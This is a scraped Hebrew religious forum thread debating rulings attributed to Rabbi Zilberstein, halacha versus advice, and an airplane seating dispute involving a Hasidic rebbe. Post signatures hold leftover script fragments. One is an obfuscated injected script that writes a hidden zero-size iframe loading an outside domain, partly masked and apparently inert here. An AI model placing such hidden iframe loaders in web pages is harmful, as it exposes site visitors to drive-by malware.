|
|
| נשלח ב-2/10/2011 17:36 |
|
| |
אדג
תודה על המילים הטובות, וברוך הבא אל הפורום!
לגבי דיון בדברי הרב זילברשטיין הבאים, צריך קצת יותר זמן ממה שיש לי. אקוה בימים הקרובים בל"נ.
חתימה טובה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-2/10/2011 17:40 |
|
| |
סליחה, שכחתי להתייחס.
כתבת:
אתה נותן פרשנות אידאלוגית לפסקים של הר"ז, אך אתה מתעלם מפרשנות אידאלוגית מוצהרת וניתוחה. האין מקומה אף היא בדיון מעניין זה? לא ודאי לי שהבנתי. האם כוונתך למקומות שבהם הרב זילברשטיין מוסיף אמירות ששייכות לתחום האידיאולוגיה ולא ההלכה?
לא היו כאלו בחומר שבו אני דן. יתכן שיש כאלו ולא הגיעו אלי. אם יש, תוכל להביא ונדון יחד.
*** לגבי הסברך שהשאלה לא עלתה במקורות כי מעולם לא היה כדבר הזה, כך מסתבר. ויפה כתבת (ירוקון, כלומר איקון ירוק).
לגבי הטעם שאתה מייחס לרב ולבנו, זאת לא הבנתי. עובדה שהנושא כן הועלה על ידיהם.
ואולי יש להוציא מכאן דבר מעניין. כי העיון התיאורטי מוליד מצבים שעליהם אין תשובה ידועה וצריך לחדש. ואכן לדעתי זה אחד האופנים שבו התורה מתפתחת.
וזה עיקרון חשוב מאד בתחום ההיסטוריה של ההלכה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-3/10/2011 02:36 |
|
| |
הנושא עלה על ידם, או כי המציאות המתחדשת באר"י, שגם הגויים מדברים וכותבים עברית, או מפני שכך הוה מעשה. אך הפסיקה, לפחות בעוללם הרבני הסטנדרטי חייבת לבוא תוך הסתמכות טוטלית על פסיקות קודמות, לצערי. (הערתי בדרך אגב, שאין להסתמך בעיניים עצומות על דברי הבן, משל היה האב הכותב, כי בסופו של דבר, אנחנו מאמינים שהאב והבן אינם אחד ;-) ).
לגבי דבריו ב'השקפה', אני לא בקי גדול בכתביו, אני משוכנע שעלעול (אפילו לא עיון יביא תוצאה מעניינת).
|
|
|
|
| נשלח ב-3/10/2011 07:18 |
|
| |
אדג
יפה כתבת. "הפסיקה, לפחות בעוללם הרבני הסטנדרטי חייבת לבוא תוך הסתמכות טוטלית על פסיקות קודמות, לצערי. "
אבל אעיר כי זה לא חייב להיות מתוך "הסתמכות טוטלית". זה אפילו לא אפשרי, אם כי אולי יש כאלו שמאמינים בכך. (ויש כמובן להאריך מהי הסתמכות ומהי הסתמכות טוטלית. ודאי שאין מביא ראיה מתורת נביא אחר אלא משה רבנו - כנאמר במדרש מגדיר במסכת חגיגה שאני מפנה אליו לעתים קרובות מאד. אבל הסתמכות אינה גזירה לוגית בלבד. ויש לפרט עוד).
וכפי שצויין, נדמה לי בראשונה על ידי מיכי, הפוסק הגדול, להבדיל מן הטכנאי להלכה, גם עונה על שאלות מתחדשות ממש.
ירוקון (=איקון ירוק) על ההברקה של "האב והבן אינם אחד". למי שאינו מבין, כמדומה שכוונת אדג לתפיסה הנוצרית שהוא עושה בה שימוש הומוריסטי.
אמנם לגבי "דברי הרב זילברשטיין בהשקפה" לא ידוע לי על כאלו. נדמה לי ששיטתו היא להביא סיפורים או הלכות שדרכן משתקפת דעתו.
אזכיר דוגמא אחת שחרתה לי מאד. בספרו על "תורת היולדת" הוא מביא מעשה באשת אברך ששכרה נהג מונית שיהיה מוכן כל השבת אם תרצה לנסוע לבית חולים ללדת. היא שילמה סכום גדול כדי למנוע חילול שבת שאמנם יהיה לצורך בשעתו. כיצד חילול שבת? אם תזמין אמבולנס או מונית ממקום רחוק לא זמין, יהיה יותר חילול שבת אם כי חילול שבת מותר.
מה רע בזה? ראשית, לא ברור אם העיקרון נכון. כלומר שיש כאן מיעוט חילול שבת שהוא לזכות. האם יש מעלה להתכונן למעט במעשים של פיקוח נפש שיהיו מותרים בשעתם? אמנה את הבעיות.
ראשית, העוסק בפיקוח נפש אינו עובר עבירה. כל מה שהוא עושה במסגרת זו מותר ומצוה.
שנית, לומדים מזה שפיקוח נפש, כפי שנאמר בסעיף הקודם, הוא עדיין דבר שלילי כי יש בו מלאכות בשבת. אבל זה גורם להחלשות בפיקוח נפש!
וזה עדיין לא הכל. האם לאשה, אשת אברך, היה מותר להוציא סכום כה גדול שבא על חשבון משהו אחר? צריך אדם להיות חכם במצוות ובהוצאות עליהן.
והגרוע מכל, גם אם אותה אשה היתה מיליונרית, הבאת הסיפור יוצרת רושם שהאשה הזו נהגה נכון וכן ראוי לנהוג ולחקות.
זה אומר שמשפחות של אברכים קשי פרנסה יקבלו דגם של בזבוז (כן, בזבוז, או גרוע מזה) של כסף רב למען דבר מותר לחלוטין. ומי שלא ינהג כן, יחוש רגשות אשמה על שאינו עומד בתקן שקבע הרב זילברשטיין.
אם אותו זוג היה בא אל הרב, היה ראוי לכוונו ולומר לו: כוונתך רצויה, מעשיך אינם רצויים!
(על אחד מרבני בני ברק המבוגרים יותר מסופר שהגיע אליו אברך עם אתרוג יקר מאד, בכמה מאות דולרים, והרב גער בו: מה זה הוצאות כאלו כאשר דברים אחרים אין לך. ויש גורסים שפסל לו את האתרוג אבל איני מאמין בכך שהרי זה אסור לעשות. ומה היה עושה הרב זילברשטיין?).
ולהביא סיפור כזה, ובלי למחות בו, זו עבירה וכשלון של מורה הוראה לרבים!
עם זאת, האידיאלוגיה ברורה. התורה והמצוות חשובות מכל. אנו רק משרתים שתפקידנו לספק מצוות ולהיזהר בהן ככל האפשר. יש איזה ערך מינימלי לתפיסה כזו המשמרת את המסירות לתורה ולמצוות. צריך להדגיש את התפיסה כזו בדור של זלזול. בדור כשלנו, שבו חיפוש המצוות בכל מחיר, גם כאשר אין כאלו, הפך למניע עיקרי ויחיד, תפקידו של הרב לפעול בדיוק בכיוון ההפוך. לספק איזון. זו גם אחת מן התכליות האידיאולוגיות שלי באשכול זה...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-20/12/2011 08:31 |
|
| |
והנה מעניני דיומא, על פי המבואר בפורום הסמוך שמותר להזכיר את שמו:
ואני מעתיק:
הגר"י זילברשטיין פסק למתנדב "אין ללכת לכנס של מד"א" מתנדב מאיחוד הצלה פתח תקווה הגיע היום להגר"י זילברשטיין בשאלה האם מותר לו ללכת לכנס של מד"א שיתקיים מחר. שכידוע כנס זה הינו בניגוד להסכמת גדולי הדור בעיקר מהסיבה שמי שעומד מאחורי כנס זה הם מד"א ולא ארגוני ההצלה. (המתנדב הגיע לשאול את הרב זילברשטיין כי נכון לעכשיו לא יצאה הודעה מטעם הנהלת הארגון או מטעם הרבנים אבל מעצמו הוא הבין שיש פה בעיה בכנס זה...)
הוא הציג בפני הרב זילברשטיין את העובדה שבאזור ההתנדבות שלו מרחב ירקון יש יחסים טובים בין מתנדבי איחוד הצלה לבין מד"א (שזה המקום היחיד שיש יחסים תקינים) וזה עלול לפגוע במתנדבים אם לא ילך לכנס.
הרב זילברשטיין פסק לו "שב ואל תעשה עדיף"
כלומר, אל תלך לכנס !
*** כמדומה שהנושא של היחסים בין מד"א לבין אירגוני ההצלה החרדיים ועוד יותר מזה, היחסים בין אירגוני ההצלה לבין עצמם, רחוק מאד ממטרות הפורום שלנו.
ולכן נא לא להתייחס אליו כלל.
זו רק דוגמא.
מה שכן, ומה שהתמיה אותי, הוא הטשטוש בין "עצה" לבין "הלכה".
האמנם זו היתה שאלה לבירור הלכתי, או שאלה לבקשת עצה?
מה ההבדלים? יש ויש.
א. אדם מגיע לבקש עצה כאשר הוא נבוך ואינו יודע מה כדאי לו לעשות. אדם מגיע לשאול הלכה כאשר יש לו התלבטות מה ראוי לעשות.
ב. הלכה מחייבת, עצה זו המלצה.
ג. ולכן: הלכה חייבים לבצע, עצה - ירצה יעשה, ירצה יעשה אחרת.
ד. הלכה היא תחום מומחיות של לומד הלכה, ובמקרה זה: הרב. עצה מתבססת על תחום ידע שאינו בהכרח של הרב.
(וכמו בסיפור הנודע על היהודי (מאמריקה כמובן) ששאל את הרב האורתודוכסי מה מברכים על קדילק חדש, והרב לא ידע מה זה קדילק, ואילו הרפורמי בירך אותו על רכישת הקדילק, אבל לא ידע מהי ברכה, ונא לא להסב את הדיון. זו בדיחה אנטי רפורמית במוצהר).
ואני תמה:
לא על כך שהרב המליץ לאיש לא ללכת. אני משער שיש צדדים לכאן ולכאן, שאם לא כן לא היה השואל מגיע לשאול (אם כי ייתכנו לפניה כזו מניעים רבים אחרים). אני תמה על שהרב הגדיר את תשובתו כ"הלכה".
מה היה ראוי לעשות?
לומר לו: טוב מאד שאכפת לך מהלכה. טוב מאד שאתה רוצה לשמוע בקול ה' לפני כל דבר אחר. טוב מאד שאתה נוהג להתייעץ עם רב לפני מעשים חשובים ובעלי השלכות.
אבל במקרה דידן, זו לא שאלה הלכתית. זו שאלה של "מה כדאי", ובדבר זה שאל נא את המומחה, ואולי אתה מומחה גדול ממני.
יתכן כמובן שזה מה שהרב זילברשטיין ענה לו. יתכן שיש כאן טעות בפירסום בבח"ח. אני מקוה שכך.
חוסר האבחנה בין הלכה לבין המלצה הוא לא רק טעות. זה גם דבר מזיק. במיוחד כאשר מתקבל הרושם שעכשו אסור ללכת לכנס הזה.
וכן בכל שאלה שבה פונים אל הרב. מה חבל שחלק מן החינוך שלנו אינו מלמד שגם אם רוצים לפנות אל הרב בכל ענין, בחינת "כל הנוטל עצה מן הזקנים אינו נכשל" עדיין "עצה" אינה "הלכה" ולכן: לא חייבים לפנות לקבל עצה, לא חייבים לציית לה, ובוודאי שאין זה ראוי לספר לאחרים: הרב "פסק" לי.
*** שמא יטען הטוען: כאן זה באמת בירור הלכתי. וזאת מפני שני שיקולים: ראשית, לשיתוף פעולה עם מד"א יש השלכות על תיפקוד אירגוני ההצלה החרדיים ואולי זה ימעט בכוחם ויזיק לנזקקים להם. שנית, אם מד"א מזלזל בחרדים ובאירגוניהם, אז יש כאן חילול השם? ובכן, כדי להתייחס לשאלות אלו צריך לברר את העובדות, וזה איני רוצה לעשות ואני מקפיד שלא יעשו זאת כאן. אסתפק בכך שאעיר שגם אם זה נכון, כלומר שמד"א אינם בסדר כפי שיכלו להיות, עדיין אין כאן שאלה הלכתית אלא שאלה של כדאיות, ואין כאן חילול השם אלא אם כן יתפרסם שרבנים אסרו ללכת, ולכן איך פלוני החרדי מגיע, וגם אז מתעוררת שאלה - שכבר הועלתה בעבר בהקשרים דומים כמו קניה בשפע שוק או נסיעה באל על בזמן החרמות - מהו חילול השם. והתברר, לדעתי, שהיה אז גדר של חילול השם שנוצר עקב הכרזה רבנית כביכול שלא במקומה. וזה כבר נושא בפני עצמו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-20/12/2011 09:05 |
|
| |
| מיימוני כתב: |  | | והתברר, לדעתי, שהיה אז גדר של חילול השם שנוצר עקב הכרזה רבנית כביכול שלא במקומה. וזה כבר נושא בפני עצמו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
עד איזה גבול אתה מוכן להתאים את ה' וכבודו לגבי מה שמצפים מ"יהודי חרדי" לפי החלטות הפוליטיקאים שלו? ואולי להיפך, הקידוש ה' הוא להראות שאינך הולך בסתימת עיניים אחרי "פסקים" וחרמות שאין להם עם התורה כלום, ואינם אלא ענין שאין ראוי להזכיר בפורום שלנו לדעתך. לפי החשיבה שלך שכל דבר שנהיה נורמה חברתית וכו' ממילא הופך לענין של חילול ה' עקרת את מושג קידוש ה' וציות לתורתו ממשמעותו לגמרי. [וזה עוד לפני הפירוש שלךהרמב"ם שכבוד ה'=השכל]
|
|
|
|
| נשלח ב-20/12/2011 09:26 |
|
| |
יהי אור
המשפט הבא שלי מאד מסובך אז אני מחלקו לחלקים.
הנושא: הוראה מפורסמת בשם רבנים שאמנם אין לה בסיס הלכתי. דוגמא: לא לקנות בשפע שוק, לא לטוס באל על זמן מסויים.
(צריך לבאר מדוע אין בסיס הלכתי אבל נניח לזה לרגע ונניח גם שאכן אין בסיס. מצד שני, יש פירסומים, יש החתמות וחתימות, וזה מפורסם בציבור הלא דתי ש"הרבנים אסרו".
מה יהיה הדין במקרה כזה?
מי שירצה לטוס באל על, או לקנות בשפע שוק, עלול להיתקל בזקיפת גבה ובתגובה של הסביבה: אתה חרדי/דתי אתה? הרי הרבנים אסרו להיות כאן/להשתמש בשירות הזה?
האם זה לא חילול השם?
מדבריך אני מבין שלדעתך זה לא חילול השם.
אני מסכים.
לא סברתי אחרת.
כתבתי כנראה בצורה לא הכי ברורה ש"יש כאן גדר של חילול השם". זאת מפני שהנושא לא פשוט. נוצר הרושם שאדם ירא שמים לא אמור לעשות דבר מסויים כי הרי יש פירסומים בשם רבנים, פירסומים שאמורים להיות הלכה. ואתה לך תוכיח שלא.
יש כאן חד סטריות מסויימת שראויה לדיון בפני עצמו. יש דברים שקל ליצור: פירסום שדבר אסור. שאלות קשות מאד בפילוסופיה, מתמטיקה, מדע, יהדות. ויש דברים שקשה להסביר: שמשהו מותר או שהרב (אם בכלל) חרג מסמכותו, להוכיח ששתים ועוד שתים הן ארבע, להוכיח שהתורה ניתנה למשה בסיני. נא לא להסב את הדיון לשם! גם הנושא של חילול השם המלאכותי ראוי לדיון בפני עצמו ואולי כבר היה בפורום בשעתו. ואם לא אפשר לפתוח חדש. אני סבור שזה מונח מוצלח "חילול השם מלאכותי". כאשר השאלה תהיה: האם חילול השם שנוצר באופן מלאכותי על ידי הוראה רבנית שעשויה להיות מוטעית הוא עדיין חילול השם ואיסור, או לא?
במחשבה שלישית, הבה ונפתח אשכול חדש.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-29/1/2012 20:31 |
|
| |
והנה שאלה נוספת. השאלה הזו לא הוצגה לרב זילברשטיין. אבל מעניין מה היה עונה אילו הוצגה בפניו.
ואף פעם לא מאוחר מדי...
וזה דבר המעשה.
מספר הרב ריסקין (רבה של אפרת, המשתייך לצד הד"לי של האורתודוכסיה - ואיני כותב זאת לגנאי, ויעיד ההמשך):
מעשה ונסע הרב ר' במטוס אל על, במחלקה הראשונה. לא הרחק ממנו ישב האדמור מ-***** (מצונזר. הרוצה יחפש בספר ציוני דרך, עמ' 239 ואילך).
מי עוד ישב שם?
הרבי ישב בשורה הקדמית, ולידו הגבאי. מאחוריהם שני חסידים. בשורה השלישית ישב הרב ריסקין, ולידו נשיאת "נשות הדסה".
בצד השני של המחלקה, ישבו במקביל לאדמור בני זוג חילונים מבוגרים, בגיל העמידה. מאחוריהם שני חסידים. ובמקביל לרב ריסקין, עוד זוג חילוני.
האדמור נראה "עצבני מעט". הרב ריסקין משער שזה בגלל נוכחותה של האשה, "עמוק בתוך שדה הראיה שלו".
ואז ניגש הגבאי לבני הזוג וביקש, "בנימוס רב ובפנים רציניות מאד" שיחליפו מקום עם החסידים שמאחוריהם. תחילה ביקש ובסוף "התחנן".
הם סרבו, והבעל סבר שזו בקשה מחוצפת.
הזוג החילוני שמאחור הצטרף: "החסידים האלו שונאים נשים. בגללם אין לנו דיילות אלא רק דיילים".
הגבאי שמר על שלוותו והתחנן בעדינות: "בבקשה. אם תתעקשו להישאר, נצטרך לעזוב את המטוס. הטיסה תתעכב שעות כי יצטרכו לחפש את המטען שלנו. בבקשה מכם, תבינו שהאדמור הוא איש קדוש, וצריך לכבד את בקשותיו".
(הערת המעתיק: התחנן? או איים בסחיטה?)
אדלג על המשך הסיפור ועל הויכוח שפרץ.
בסוף הרב ריסקין פתר את הבעיה. איך? הוא הסביר לחילונים כי "יש אצל החסידים ענין קטן שאתם מבינים לא נכון. זה לא שהם שונאים נשים. להפך, הם נמשכים אליהן מאד". והוא הוסיף לאשה: "נראה לי שהרב נמשך אלייך. הוא חושש שלא יוכל להתרכז בלימוד כל זמן שאת מול העינים שלו". האשה כל כך הוחמאה עד שהיא ובעלה עברו מקום.
הרב ריסקין מספר שזכה בנשיקה מהאדמור ובהערכה מהחילונים, שציינוהו לשבח שהוא "דתי אבל לא נראה אחד מהם". גם אל על העניקה לו בקבוק יין מתנה.
*** איני יודע אם הסיפור אמיתי, ולכן הקפדתי לצנזר את שם החסידות.
הסיפור, בעיני, מעורר כעס ואינו מעורר הערכה לאדמור, לגבאי ואפילו לא לרב ריסקין. אבל הוא צדק למעשה. הסיכוי לשכנע את החילונים להתחשב בבקשה הגסה של האדמור היה גבוה מאשר הסיכוי לשכנע את האדמור להתנהג לפי ההלכה. כלומר לשבת בשקט.
*** איני יודע אם הסיפור אמיתי, אבל יש כאן שאלה המתפצלת לשאלות רבות:
האם אדמור שמקדש את עצמו רשאי לאיים שינטוש את הטיסה ויעכב אותה שעות כי אשה חילונית שיושבת בטווח הראיה שלו מפריעה לו?
יובהר כי לדעתי אין איסור לשבת כאשר בטווח הראיה אשה. ומי שזה מפריע לו, שימצא פתרון בלי להטריח אחרים.
ולכן הקביעה "מקדש את עצמו" ביחס לנוהג של האדמור שם נראית לי שימוש שונה משלי ב"לקדש את עצמך".
חוששני גם שכתבתי בחריפות יתר, ואין ראוי לכתוב כן, במיוחד כאשר אי אפשר לדעת אם הסיפור אמיתי.
*** השאלה על האיום ביציאה מהמטוס טעונה בירור מצד המציאות, מצד המשפט ומצד ההלכה.
מצד המציאות, מדוע אדם שיוצא מהמטוס מעכב אותו? הסיבה היא שיש להוציא את המטען, ככל הנראה מטעמי בטיחות. זה יכול להיות עסק ארוך מאד, תלוי איפה המזוודות.
מצד המשפט, איני יודע אם מותר לאדם לצאת כך מהמטוס מפני שהוא מעכב אחרים. יתכן שמבחינה משפטית אפשר לתבוע אותו על עיכוב. בין מצד החברה, בין מצד הנוסעים. איני יודע גם מה המחוייבות והאחריות של חברת התעופה לנוסעים לגבי עיכוב טיסות. המומחים למשפטים של הפורום מוזמנים לגלות את בקיאותם, אם כי זה נושא צדדי מאד.
מצד ההלכה, עיכוב הטיסה הוא גזל זמן. יותר מגזל זמן, יש כאן מעין כליאה. וכליאה של אדם שלא יוכל לצאת לעבודתו היא עוולה שמחייבת בתשלום (כמוכח בגמרא). לא ברור אם זה דומה למה שיש כאן.
***
הסיפור עורר אצלי שתי תחושות.
ראשית, שיש בלבול עצום בין קדושה והתקדשות לבין התערבות בחיי אחרים.
שנית, שיש אצלנו בלבול בין מה שראוי לעשות לבין מה שאסור. הרב ריסקין התייחס למנהג האדמור כאילו יש בו טעם לשבח. האם זו הבנה פוליטית מחוכמת או שהוא באמת האמין שהאדמור נהג לפי חובתו?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-29/1/2012 21:01 |
|
| |
אני חושב שיש יותר משמץ של רשעות וגסות רוח ברוח הצגת השאלות אבל משום ענה כסיל אשתדל להתייחס לאיוולתך
ראשית דבר בשביל להתייחס לסיפור כזה לא מספיק התיאור הסכמטי של מיקום המושבים ומן הסתם לצורך ההחלטה ההלכתית יש להביא בחשבון גם את אופן לבושה של האשה והאם לא היה מקומות המכוסים מגולים אצלה דבר שהיה מונע מכל מי שרואה אותה או יושב מולה לומר ואפילו להרהר בדבר שבקדושה ואפילו אם יעצום עיניו
הצגת האפשרות שהאדמור יעזוב את הטיסה כגורם סביר לעיכוב גדול בהמראתה ודאי שאינה בגדר סחיטה כלל בסיסי בגישור אומר ששני הצדדים חייבים להבין שפתרון הקונפליקט יביא תועלת לשניהם ואין כאן ויתור לטובת צד אחד בלבד. הגיוני והגון ביותר להציג את ההשלכות של הותרת המצב הלא נעים לאדמור על כנו. לא הגון היה לעזוב את הטיסה ולגרום לכל העיכוב בלי ליידע את הזוג על מה שעלול לקרות.
נראה לי שכבר יצאתי י"ח בזה
|
|
|
|
| נשלח ב-29/1/2012 21:06 |
|
| |
ליד
תודה על התגובה.
גם לפי האופן שהצגת את הדברים, כלומר שהאשה לבושה באופן שפוסל ק"ש (=קריאת שמע) כנגדה, עדיין, כל עוד היא מן הצד, יש פתרון פשוט. לסובב את הגוף לצד השני ואז לא רואים אותה.
אתה טוען שאם יש אשה במצב לא צנוע אז אסור ללמוד כנגדה. ועלי לשנות הלכה זו, כי יש לצדד להתיר. וכי מה אנו עושים בעצמנו כאשר אנו נוסעים באוטובוס?
|
|
|
|
|
| נשלח ב-29/1/2012 21:15 |
|
| |
מה אנחנו עושים באוטובוס?
יושבים עם לאפטופ וגולשים לאתרים שבהם יש סיפורים על הנהגתם של אדמורים בסיטואציות דומות ומשתדלים לעדכן את התנהגותינו בהתאם
|
|
|
|
| נשלח ב-29/1/2012 21:42 |
|
| |
הרב מימוני בפרשת השבוע כתוב. ולא ראו איש את אחיו ולא קם איש מתחתיו.
כשהחסיד או האדמור לא ראו את את השני- הוא רואה רק את עצמו רגשותיו של השני -לא בסדר היום שלו. רק הוא קיים, ורק בגללו נברא העולם- וקיים רק בזכותו. לא קם האיש ממקומו. אבל כשהבינו האיש והאשה כי בעצם הוא כן רואה אותם, החושך נעלם והאיש קם ממקומו
|
|
|
|
| נשלח ב-29/1/2012 22:14 |
|
| |
בזמנו הרב יוסף חיים זוננפלד פסק שמותר לנסוע בעגלה ציבורית בה יש נשים שאינן לבושות צנוע, אם אין דרך נסיעה אחרת, ואם אין זה מצוי שתשב לצדו אשה, וצריך להיות בדעתו שלא לפנות אנה ואנה ולהסתכל ושאם יש ספר בידו לעיין בו.
|
|
|
|
| נשלח ב-29/1/2012 22:47 |
|
| |
הדברים שהובאו בשם הרב ריסקין אינן בגדר "חכמה מופלאה" אלא הלכה
הנני מעתיק משו"ע אבן העזר ריש סימן כ"א: "צריך אדם להתרחק מהנשים מאוד מאוד" ובבית שמואל שם: "מאוד מאוד. לפי שנפשו של אדם מחמדתן לכן כתב מאוד מאוד"
|
|
|
|
| נשלח ב-30/1/2012 01:47 |
|
| |
ליד
משם ראיה.
לא כתוב "ירחיק אדם את הנשים מאד מאד" אלא יתרחק בעצמו.
אבל מה שכתבת, במחילה מכבודך, הוא המלצה שאין לה שיעור. ובוודאי שאין היא כלל מנחה יחיד לחיים. לא תמיד פתוחה הדרך לרדת מן המטוס. וכאן, למרות שהאדמור היה יכול ומוכן לרדת מן המטוס ולהפסיד את מחירי הטיסה (או לפחות כך טען הגבאי...) לדעתי אסור היה לו לעשות זאת. גם בגלל שהוא מזיק את הנוסעים האחרים.
דבר פשוט הוא בעיני שהדרישה שלא לשבת במחיצת נשים אינה אפשרית ברבים מן הרגעים בחיינו. וצריך אדם ללמד את עצמו לחיות ולתפקד בעולם ולא להתאים את העולם אליו ועוד על ידי כפיה.
אולם השאלה המרכזית שיש לדון בה היא חובתו של נוסע לטוס עם המטען שלו כדי לא לגרום עיכוב לאחרים. ואמנם נוסע שהיה חייב לרדת מסיבות שנראות מוצדקות (נניח כדי לטפל בחולה), הרי דעת כל אדם היא שיש לוותר לו. ובלשון אחר, זה כלל קנטיאני (אפשר להפוך זאת לכלל עולמי: כל אדם היה רוצה שינהגו בו כך בשעת הדחק). אבל אי אפשר לומר כן לגבי חומרה פרטית. החומרה הפרטית אין לה מקום בשעה שהיא על חשבון הזולת. לשון אחר, ראוי שהחומרות של אדם יהיו בהתחשבות בחברו לפני שיתחשב בעצמו.
*** האם מותר ללמוד תורה כאשר יושבת אשה בזוית ויש בה מקומות מגולים.
הדבר נתון במחלוקת פוסקים בזמננו. ואמנם ניתן לענות על הדבר מסברה: יסב ראשו או יעצום עיניו או יתקע מבטו בספר אם אי אפשר לו - וילמד. ואין הדבר צריך לפנים.
אבל מי שרוצה שמות ומקורות הרי הם כאן. בספר "פסקי תשובות" מביא מחלוקת בדבר ומביא בשם קצת אחרונים כפי שכתבתי. וזאת גם בשעה שהאשה יושבת לפניו או מולו ואינו יכול להסתובב לצד בלי לראותנה.
וכאן הרי האשה ישבה מן הצד. וכי דווקא להסתכל לצד שלה הוא נאלץ? תימה.
כמובן, אפשר לטעון שלא ניתן לדייק כולי האי (=עד כדי כך) מסיפור בעלמא. אבל כמדומה שכך מסודרים המטוסים, בטורים.
*** במקום אחר הועלתה טענה שהאדמור היה חייב לשמור על חומרה כדי לא לקלקל לחסידיו את דקדוקם בהלכות צניעות.
וטענה זו מוזרה היא בעיני. וכי אלו הלכות צניעות? וכי לא עדיף לחנכם להיזהר יותר בכבוד הבריות? יש כאן שתי נקודות. ראשית, אין כאן דוגמא רעה מפני שאין כאן איסור, ושנית הוזנח נושא חשוב בהרבה: כבודה של אשה, של אדם אחר שהוצג כמטרד עבור האדמור. וכבר הארכתי דיי. כמד'ומה שמי שמבין מבין מייד ומי שאינו מבין לא יעזור לכתוב. אבל ה"אני מאמין" שלי הוא שצריך להשתדל תמיד להסביר.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
|